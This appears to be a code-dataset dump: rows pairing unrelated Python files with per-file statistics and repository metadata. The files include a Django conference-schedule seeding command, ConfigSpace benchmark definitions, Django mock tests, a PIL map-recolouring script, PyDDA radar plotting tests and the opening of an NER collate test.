],
[
{
"title": "Afternoon Break with Snacks in Expo Hall",
"start": datetime(2011, 3, 12, 15, 40),
"end": datetime(2011, 3, 12, 16, 15),
},
],
[
{
"start": datetime(2011, 3, 12, 16, 15),
"end": datetime(2011, 3, 12, 16, 55),
},
{
"start": datetime(2011, 3, 12, 16, 55),
"end": datetime(2011, 3, 12, 17, 30),
},
]
]
saturday_slots_type_2 = [
[
{
"start": datetime(2011, 3, 12, 10, 25),
"end": datetime(2011, 3, 12, 11, 5),
},
{
"start": datetime(2011, 3, 12, 11, 5),
"end": datetime(2011, 3, 12, 11, 45),
},
{
"start": datetime(2011, 3, 12, 11, 45),
"end": datetime(2011, 3, 12, 12, 15),
},
],
[
{
"title": "Lunch",
"start": datetime(2011, 3, 12, 12, 15),
"end": datetime(2011, 3, 12, 13, 20),
},
],
[
{
"start": datetime(2011, 3, 12, 13, 20),
"end": datetime(2011, 3, 12, 14, 15),
},
{
"start": datetime(2011, 3, 12, 14, 15),
"end": datetime(2011, 3, 12, 14, 55),
},
{
"start": datetime(2011, 3, 12, 14, 55),
"end": datetime(2011, 3, 12, 15, 25),
},
],
[
{
"title": "Afternoon Break with Snacks in Expo Hall",
"start": datetime(2011, 3, 12, 15, 25),
"end": datetime(2011, 3, 12, 16, 0),
},
],
[
{
"start": datetime(2011, 3, 12, 16, 0),
"end": datetime(2011, 3, 12, 16, 55),
},
{
"start": datetime(2011, 3, 12, 16, 55),
"end": datetime(2011, 3, 12, 17, 30),
},
]
]
sunday_plenaries = [
[
{
"start": datetime(2011, 3, 13, 7, 0),
"end": datetime(2011, 3, 13, 8, 30),
},
],
[
{
"start": datetime(2011, 3, 13, 8, 30),
"end": datetime(2011, 3, 13, 9, 0),
},
{
"start": datetime(2011, 3, 13, 9, 0),
"end": datetime(2011, 3, 13, 9, 5),
},
{
"start": datetime(2011, 3, 13, 9, 5),
"end": datetime(2011, 3, 13, 9, 20),
},
{
"start": datetime(2011, 3, 13, 9, 20),
"end": datetime(2011, 3, 13, 9, 35),
},
{
"start": datetime(2011, 3, 13, 9, 35),
"end": datetime(2011, 3, 13, 10, 5),
},
],
[
{
"title": "Break with Snacks in Poster Area",
"start": datetime(2011, 3, 13, 10, 5),
"end": datetime(2011, 3, 13, 10, 25),
},
],
[
{
"start": datetime(2011, 3, 13, 10, 25),
"end": datetime(2011, 3, 13, 11, 55),
},
],
[
{
"title": "Lunch",
"start": datetime(2011, 3, 13, 12, 25),
"end": datetime(2011, 3, 13, 13, 15),
},
],
[
{
"start": datetime(2011, 3, 13, 14, 35),
"end": datetime(2011, 3, 13, 15, 35),
},
{
"start": datetime(2011, 3, 13, 15, 35),
"end": datetime(2011, 3, 13, 15, 55),
},
],
]
sunday_type_1 = [
[
{
"start": datetime(2011, 3, 13, 11, 55),
"end": datetime(2011, 3, 13, 12, 25),
},
],
[
{
"start": datetime(2011, 3, 13, 13, 15),
"end": datetime(2011, 3, 13, 13, 55),
},
{
"start": datetime(2011, 3, 13, 13, 55),
"end": datetime(2011, 3, 13, 14, 35),
},
],
]
tracks = [
{"Centennial I": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]},
{"Centennial II": [friday_slots_type_2, saturday_slots_type_2, sunday_type_1]},
{"Centennial III": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]},
{"Centennial IV": [friday_slots_type_2, saturday_slots_type_2, sunday_type_1]},
{"Regency V": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]}
]
class Command(BaseCommand):
def handle(self, *args, **options):
for track_data in tracks:
for track_name, data in track_data.items():
track = Track.objects.create(name=track_name)
print "Created Track: %s" % track_name
for day in data:
for session_data in day:
session = Session.objects.create(track=track)
print "\tCreated session for %s" % track_name
for slot_data in session_data:
slot = Slot.objects.create(
track=track,
session=session,
start=slot_data.get("start"),
end=slot_data.get("end"),
title=slot_data.get("title")
)
print "\t\tCreated slot: %s" % slot
print "Plenaries"
for data in [friday_plenaries, saturday_plenaries, sunday_plenaries]:
for session_data in data:
for slot_data in session_data:
slot = Slot.objects.create(
track=None,
session=None,
start=slot_data.get("start"),
end=slot_data.get("end"),
title=slot_data.get("title")
)
print "\tCreated slot: %s" % slot
| 26.768182
| 84
| 0.393955
| 1,279
| 11,778
| 3.566849
| 0.06724
| 0.36826
| 0.398948
| 0.276195
| 0.853354
| 0.833187
| 0.5
| 0.464051
| 0.434239
| 0.434239
| 0
| 0.225144
| 0.438105
| 11,778
| 439
| 85
| 26.829157
| 0.464189
| 0
| 0
| 0.236277
| 0
| 0
| 0.085074
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.00716
| null | null | 0.011933
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2fc505b34cdc88027dc226646e2f50f00ec5f7aa
| 3,165
|
py
|
Python
|
hp_transfer_benchmarks/fcnet/_configspaces.py
|
hp-transfer/ht_benchmarks
|
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
|
[
"MIT"
] | 1
|
2021-03-16T22:50:11.000Z
|
2021-03-16T22:50:11.000Z
|
hp_transfer_benchmarks/fcnet/_configspaces.py
|
hp-transfer/ht_benchmarks
|
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
|
[
"MIT"
] | null | null | null |
hp_transfer_benchmarks/fcnet/_configspaces.py
|
hp-transfer/ht_benchmarks
|
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
|
[
"MIT"
] | null | null | null |
import ConfigSpace as CS
class FCNetConfigspaceA(CS.ConfigurationSpace):
n_development_stages = 2
def __init__(self, development_stage=-1):
super().__init__()
self.development_stage = development_stage
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("dropout_1", lower=0, upper=2)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("dropout_2", lower=0, upper=2)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("init_lr", lower=0, upper=5)
)
self.add_hyperparameter(
CS.CategoricalHyperparameter("activation_fn_1", choices=["relu", "tanh"])
)
self.add_hyperparameter(
CS.CategoricalHyperparameter("activation_fn_2", choices=["relu", "tanh"])
)
if development_stage == 0:
self.budget = 50
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("batch_size", lower=0, upper=3)
)
else:
self.budget = 100
def default_values(self):
if self.development_stage == 0:
return {"lr_schedule": "const", "n_units_1": 1, "n_units_2": 1}
elif self.development_stage == 1 or self.development_stage == -1:
return {
"lr_schedule": "const",
"n_units_1": 5,
"n_units_2": 5,
"batch_size": 1,
}
else:
ValueError()
class FCNetConfigspaceB(CS.ConfigurationSpace):
n_development_stages = 2
def __init__(self, development_stage=-1):
super().__init__()
self.budget = 100
self.development_stage = development_stage
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("n_units_1", lower=0, upper=5)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("n_units_2", lower=0, upper=5)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("dropout_1", lower=0, upper=2)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("dropout_2", lower=0, upper=2)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("init_lr", lower=0, upper=5)
)
self.add_hyperparameter(
CS.UniformIntegerHyperparameter("batch_size", lower=0, upper=3)
)
if self.development_stage == 1:
self.add_hyperparameter(
CS.CategoricalHyperparameter("activation_fn_1", choices=["relu", "tanh"])
)
self.add_hyperparameter(
CS.CategoricalHyperparameter("activation_fn_2", choices=["relu", "tanh"])
)
def default_values(self):
if self.development_stage == 0:
return {
"lr_schedule": "const",
"activation_fn_1": "tanh",
"activation_fn_2": "tanh",
}
elif self.development_stage == 1 or self.development_stage == -1:
return {"lr_schedule": "cosine"}
else:
ValueError()
| 32.628866
| 89
| 0.581675
| 306
| 3,165
| 5.732026
| 0.166667
| 0.127708
| 0.167617
| 0.18358
| 0.86146
| 0.86146
| 0.86146
| 0.843786
| 0.843786
| 0.801026
| 0
| 0.02802
| 0.312164
| 3,165
| 96
| 90
| 32.96875
| 0.777676
| 0
| 0
| 0.621951
| 0
| 0
| 0.103949
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.04878
| false
| 0
| 0.012195
| 0
| 0.158537
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2fe6f6f9083cb29233a5052bd405894fd8dda281
| 779
|
py
|
Python
|
restraint/tests/commands_tests.py
|
ambitioninc/django-restraint
|
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
|
[
"MIT"
] | 12
|
2015-03-20T19:09:22.000Z
|
2017-08-31T16:47:10.000Z
|
restraint/tests/commands_tests.py
|
ambitioninc/django-restraint
|
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
|
[
"MIT"
] | 4
|
2015-03-23T17:14:52.000Z
|
2016-07-28T15:49:28.000Z
|
restraint/tests/commands_tests.py
|
ambitioninc/django-restraint
|
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
|
[
"MIT"
] | 9
|
2015-03-18T13:29:58.000Z
|
2021-08-13T18:25:14.000Z
|
from django.core.management import call_command
from django.test import SimpleTestCase
from mock import patch
class UpdateRestraintDbTest(SimpleTestCase):
@patch('restraint.management.commands.update_restraint_db.update_restraint_db', spec_set=True)
def test_wo_flush_default_access(self, mock_update_restraint_db):
call_command('update_restraint_db')
mock_update_restraint_db.assert_called_once_with(flush_default_access=False)
@patch('restraint.management.commands.update_restraint_db.update_restraint_db', spec_set=True)
def test_w_flush_default_access(self, mock_update_restraint_db):
call_command('update_restraint_db', flush_default_access=True)
mock_update_restraint_db.assert_called_once_with(flush_default_access=True)
| 48.6875
| 98
| 0.827985
| 105
| 779
| 5.67619
| 0.304762
| 0.251678
| 0.285235
| 0.14094
| 0.718121
| 0.718121
| 0.718121
| 0.718121
| 0.718121
| 0.718121
| 0
| 0
| 0.102696
| 779
| 15
| 99
| 51.933333
| 0.852647
| 0
| 0
| 0.166667
| 0
| 0
| 0.225931
| 0.17715
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| false
| 0
| 0.25
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ff1526848a19cda2f12371bb318124eac6738ff
| 1,931
|
py
|
Python
|
python files/map_creator.py
|
dhbesson/abc_visualization
|
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
|
[
"MIT"
] | null | null | null |
python files/map_creator.py
|
dhbesson/abc_visualization
|
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
|
[
"MIT"
] | null | null | null |
python files/map_creator.py
|
dhbesson/abc_visualization
|
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
|
[
"MIT"
] | null | null | null |
from PIL import Image
def create_map(im_loc,im_save, b_thresh):
# im = Image.open('networks/mesh_1000W_2m/0128210631_ABC.4326.png') # Can be many different formats.
im = Image.open(im_loc) # Can be many different formats.
pix = im.load()
print(im.size)
for x in range(im.size[0]):
for y in range(im.size[1]):
# if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] >= 235):
# if pix[x,y] != (255,255,255, 0) and (pix[x,y][0] > 0 or pix[x,y][2] <= 30):
if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] > 0 or pix[x, y][2] <= b_thresh):
# print(pix[x, y])
pix[x,y] = (255, 0, 0)
# print(pix[x,y])
else:
pix[x, y] = (255, 255, 255, 0)
# im.show()
# im.save('networks/mesh_1000W_2m/0128225136_gav_1000W_2m.4326.png') # Save the modified pixels as .png
im.save(im_save) # Save the modified pixels as .png
def create_cel_map(im_loc,im_save):
# im = Image.open('networks/mesh_1000W_2m/0128210631_ABC.4326.png') # Can be many different formats.
im = Image.open(im_loc) # Can be many different formats.
pix = im.load()
print(im.size)
for x in range(im.size[0]):
for y in range(im.size[1]):
if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] >= 235):
# if pix[x,y] != (255,255,255, 0) and (pix[x,y][0] > 0 or pix[x,y][2] <= 30):
# if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] > 0 or pix[x, y][2] <= b_thresh):
# print(pix[x, y])
pix[x,y] = (255, 0, 0)
# print(pix[x,y])
else:
pix[x, y] = (255, 255, 255, 0)
# im.show()
# im.save('networks/mesh_1000W_2m/0128225136_gav_1000W_2m.4326.png') # Save the modified pixels as .png
im.save(im_save) # Save the modified pixels as .png
| 47.097561
| 109
| 0.520974
| 327
| 1,931
| 2.984709
| 0.16208
| 0.098361
| 0.122951
| 0.081967
| 0.952869
| 0.92418
| 0.92418
| 0.92418
| 0.92418
| 0.92418
| 0
| 0.152125
| 0.305541
| 1,931
| 40
| 110
| 48.275
| 0.57569
| 0.47333
| 0
| 0.782609
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.086957
| false
| 0
| 0.043478
| 0
| 0.130435
| 0.086957
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6419e2f1a4724d2fcbbf62346e7e76fde98dba23
| 46
|
py
|
Python
|
src/big_torch/utils/__init__.py
|
Denchidlo/big-torch
|
f5a65e6216e46e6d4fe98670c52618e4cccc8163
|
[
"MIT"
] | null | null | null |
src/big_torch/utils/__init__.py
|
Denchidlo/big-torch
|
f5a65e6216e46e6d4fe98670c52618e4cccc8163
|
[
"MIT"
] | 1
|
2021-11-21T13:11:31.000Z
|
2021-11-22T00:18:29.000Z
|
src/big_torch/utils/__init__.py
|
Denchidlo/big-torch
|
f5a65e6216e46e6d4fe98670c52618e4cccc8163
|
[
"MIT"
] | null | null | null |
from . import registry
from . import warnings
| 15.333333
| 22
| 0.782609
| 6
| 46
| 6
| 0.666667
| 0.555556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 46
| 2
| 23
| 23
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ff3e43dde2acc5d2503545f1960375b698e9bdf4
| 403
|
py
|
Python
|
src/utils/import_models.py
|
RUBIX-ML/credit-analysis
|
68c4c2a16176f295e852800483802e4183d1df43
|
[
"MIT"
] | 1
|
2019-09-23T04:55:20.000Z
|
2019-09-23T04:55:20.000Z
|
src/utils/import_models.py
|
RUBIX-ML/credit-analysis
|
68c4c2a16176f295e852800483802e4183d1df43
|
[
"MIT"
] | null | null | null |
src/utils/import_models.py
|
RUBIX-ML/credit-analysis
|
68c4c2a16176f295e852800483802e4183d1df43
|
[
"MIT"
] | null | null | null |
from lightgbm import LGBMClassifier
from xgboost import XGBClassifier
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.ensemble import AdaBoostClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.svm import SVC
from sklearn.tree import DecisionTreeRegressor
from sklearn.linear_model import LogisticRegression
| 40.3
| 55
| 0.8933
| 44
| 403
| 8.159091
| 0.431818
| 0.214485
| 0.211699
| 0.278552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08933
| 403
| 9
| 56
| 44.777778
| 0.978202
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| 0
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| true
| 0
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| 0
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ffac39a9257069a125f151739509359b910f6871
| 6,645
|
py
|
Python
|
pydda/tests/test_plots.py
|
mmenickelly/PyDDA
|
a896c6b0268afed1a853f2f593f58103da6c4cb7
|
[
"BSD-3-Clause"
] | 49
|
2018-10-15T23:16:57.000Z
|
2022-02-22T20:53:33.000Z
|
pydda/tests/test_plots.py
|
mmenickelly/PyDDA
|
a896c6b0268afed1a853f2f593f58103da6c4cb7
|
[
"BSD-3-Clause"
] | 21
|
2018-12-11T15:33:02.000Z
|
2022-03-04T09:28:06.000Z
|
pydda/tests/test_plots.py
|
mmenickelly/PyDDA
|
a896c6b0268afed1a853f2f593f58103da6c4cb7
|
[
"BSD-3-Clause"
] | 26
|
2018-10-15T15:40:44.000Z
|
2022-03-24T11:55:59.000Z
|
""" Testing module for PyDDA visualizations """
from matplotlib import use
use('agg')
import pydda
import pyart
import pytest
import matplotlib.pyplot as plt
import cartopy.crs as ccrs
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xsection_barbs():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(7,7))
pydda.vis.plot_horiz_xsection_barbs(Grids, None, 'reflectivity', level=6,
w_vel_contours=[3, 6, 9],
barb_spacing_x_km=5.0,
barb_spacing_y_km=15.0)
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xz_xsection_barbs():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_xz_xsection_barbs(Grids, None, 'reflectivity', level=40,
w_vel_contours=[3, 6, 9],
barb_spacing_x_km=10.0,
barb_spacing_z_km=2.0)
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_yz_xsection_barbs():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_yz_xsection_barbs(Grids, None, 'reflectivity', level=40,
w_vel_contours=[1, 3, 5, 7],
barb_spacing_y_km=10.0,
barb_spacing_z_km=2.0)
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xsection_barbs_map():
berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0)
cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)
fig = plt.figure(figsize=(9, 9))
ax = plt.axes(projection=ccrs.PlateCarree())
pydda.vis.plot_horiz_xsection_barbs_map(
[cpol_grid, berr_grid], ax, 'reflectivity', bg_grid_no=-1,
level=7, w_vel_contours=[3, 5, 8])
return fig
@pytest.mark.mpl_image_compare(tolerance=60)
def test_plot_horiz_xsection_streamlines():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(7,7))
pydda.vis.plot_horiz_xsection_streamlines(Grids, None, 'reflectivity',
level=6,
w_vel_contours=[3, 6, 9])
return fig
@pytest.mark.mpl_image_compare(tolerance=60)
def test_plot_horiz_xsection_streamlines_map():
berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0)
cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)
fig = plt.figure(figsize=(9, 9))
ax = plt.axes(projection=ccrs.PlateCarree())
pydda.vis.plot_horiz_xsection_streamlines_map(
[cpol_grid, berr_grid], ax=ax, bg_grid_no=-1,
level=7, w_vel_contours=[3, 5, 8])
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xz_xsection_streamlines():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_xz_xsection_streamlines(Grids, None, 'reflectivity',
level=40,
w_vel_contours=[3, 6, 9])
plt.ylim([0,15])
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_yz_xsection_streamlines():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_yz_xsection_streamlines(Grids, None, 'reflectivity',
level=40,
w_vel_contours=[1, 3, 5, 7])
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xsection_quiver():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(7,7))
pydda.vis.plot_horiz_xsection_quiver(Grids, None, 'reflectivity',
level=6,
w_vel_contours=[3, 6, 9],
quiver_spacing_x_km=5.0,
quiver_spacing_y_km=5.0,
quiver_width=0.005,
quiverkey_len=10.0)
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xsection_quiver_map():
berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0)
cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)
fig = plt.figure(figsize=(9, 9))
ax = plt.axes(projection=ccrs.PlateCarree())
pydda.vis.plot_horiz_xsection_quiver_map(
[cpol_grid, berr_grid], ax=ax, bg_grid_no=-1,
level=7, w_vel_contours=[3, 5, 8], quiver_width=0.005,
quiverkey_len=10.0)
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_xz_xsection_quiver():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_xz_xsection_quiver(Grids, None, 'reflectivity', level=40,
w_vel_contours=[3, 6, 9],
quiver_spacing_x_km=5.0,
quiver_spacing_z_km=1.0,
quiver_width=0.005,
quiverkey_len=10.0)
plt.ylim([0,15])
return fig
@pytest.mark.mpl_image_compare(tolerance=50)
def test_plot_horiz_yz_xsection_quiver():
Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0),
pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)]
fig = plt.figure(figsize=(9,5))
pydda.vis.plot_yz_xsection_quiver(Grids, None, 'reflectivity', level=40,
w_vel_contours=[1, 3, 5, 7],
quiver_spacing_y_km=5.0,
quiver_spacing_z_km=1.0,
quiver_width=0.005,
quiverkey_len=10.0)
return fig
| 40.272727
| 77
| 0.597442
| 862
| 6,645
| 4.310905
| 0.099768
| 0.04521
| 0.071044
| 0.096878
| 0.949677
| 0.949139
| 0.931647
| 0.926803
| 0.926803
| 0.926803
| 0
| 0.041266
| 0.296163
| 6,645
| 164
| 78
| 40.518293
| 0.753261
| 0.005869
| 0
| 0.716418
| 0
| 0
| 0.018645
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.089552
| false
| 0
| 0.044776
| 0
| 0.223881
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
44378e6d4dc555ac97c2cf82f9528da7748a2313
| 32
|
py
|
Python
|
pyesl/esl_helpers/__init__.py
|
pinoeottavio/ESLEx
|
9d203da5b46c8d66ade827c237c738a35928af48
|
[
"MIT"
] | 1
|
2020-01-16T22:33:48.000Z
|
2020-01-16T22:33:48.000Z
|
pyesl/esl_helpers/__init__.py
|
pinoeottavio/ESLEx
|
9d203da5b46c8d66ade827c237c738a35928af48
|
[
"MIT"
] | null | null | null |
pyesl/esl_helpers/__init__.py
|
pinoeottavio/ESLEx
|
9d203da5b46c8d66ade827c237c738a35928af48
|
[
"MIT"
] | null | null | null |
from .plt_style import plt_style
| 32
| 32
| 0.875
| 6
| 32
| 4.333333
| 0.666667
| 0.615385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09375
| 32
| 1
| 32
| 32
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4453dc4603b51129a42ebe98021c14b72485b9e3
| 71
|
py
|
Python
|
ch01/hw01_05/hw01_05.py
|
z2x3c4v5bz/pybook_wenlongtsai_etc
|
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
|
[
"MIT"
] | 4
|
2021-06-12T07:51:22.000Z
|
2021-12-20T11:35:12.000Z
|
ch01/hw01_05/hw01_05.py
|
z2x3c4v5bz/pybook_wenlongtsai_etc
|
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
|
[
"MIT"
] | null | null | null |
ch01/hw01_05/hw01_05.py
|
z2x3c4v5bz/pybook_wenlongtsai_etc
|
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
|
[
"MIT"
] | 1
|
2021-11-08T03:36:43.000Z
|
2021-11-08T03:36:43.000Z
|
# hw01_05
print('3 + 4 =', end=' ')
print(3 + 4)
'''
3 + 4 = 7
'''
| 6.454545
| 25
| 0.380282
| 12
| 71
| 2.166667
| 0.583333
| 0.230769
| 0.538462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.22449
| 0.309859
| 71
| 10
| 26
| 7.1
| 0.306122
| 0.098592
| 0
| 0
| 0
| 0
| 0.186047
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
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| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
446896220fd34eb16df59369093dd332306838f9
| 12,192
|
py
|
Python
|
ner/tests/data/test_bilstm_gat_model_collate.py
|
freedomkite/easytext
|
ef83261a366bd8d7c259aa112da14f3fa7cdf918
|
[
"MIT"
] | 17
|
2020-06-19T12:12:13.000Z
|
2022-01-28T02:07:01.000Z
|
ner/tests/data/test_bilstm_gat_model_collate.py
|
freedomkite/easytext
|
ef83261a366bd8d7c259aa112da14f3fa7cdf918
|
[
"MIT"
] | 24
|
2020-06-08T08:51:36.000Z
|
2022-02-08T03:30:19.000Z
|
ner/tests/data/test_bilstm_gat_model_collate.py
|
freedomkite/easytext
|
ef83261a366bd8d7c259aa112da14f3fa7cdf918
|
[
"MIT"
] | 7
|
2020-07-20T06:40:00.000Z
|
2022-01-28T03:52:49.000Z
|
#!/usr/bin/env python 3
# -*- coding: utf-8 -*-
#
# Copyright (c) 2021 PanXu, Inc. All Rights Reserved
#
"""
测试 bilstm gat model collate
Authors: PanXu
Date: 2021/02/18 12:14:00
"""
import logging
import torch
from easytext.utils.json_util import json2str
from easytext.data import Vocabulary, LabelVocabulary, PretrainedVocabulary
from easytext.utils.nn.tensor_util import is_tensor_equal
from ner.tests.data.lattice.conftest import lattice_ner_demo_dataset, gaz_pretrained_embedding_loader
from ner.data import VocabularyCollate
from ner.data import BiLstmGATModelCollate
from ner.data.lattice import Gazetteer, GazVocabularyCollate
from ner.tests import ASSERT
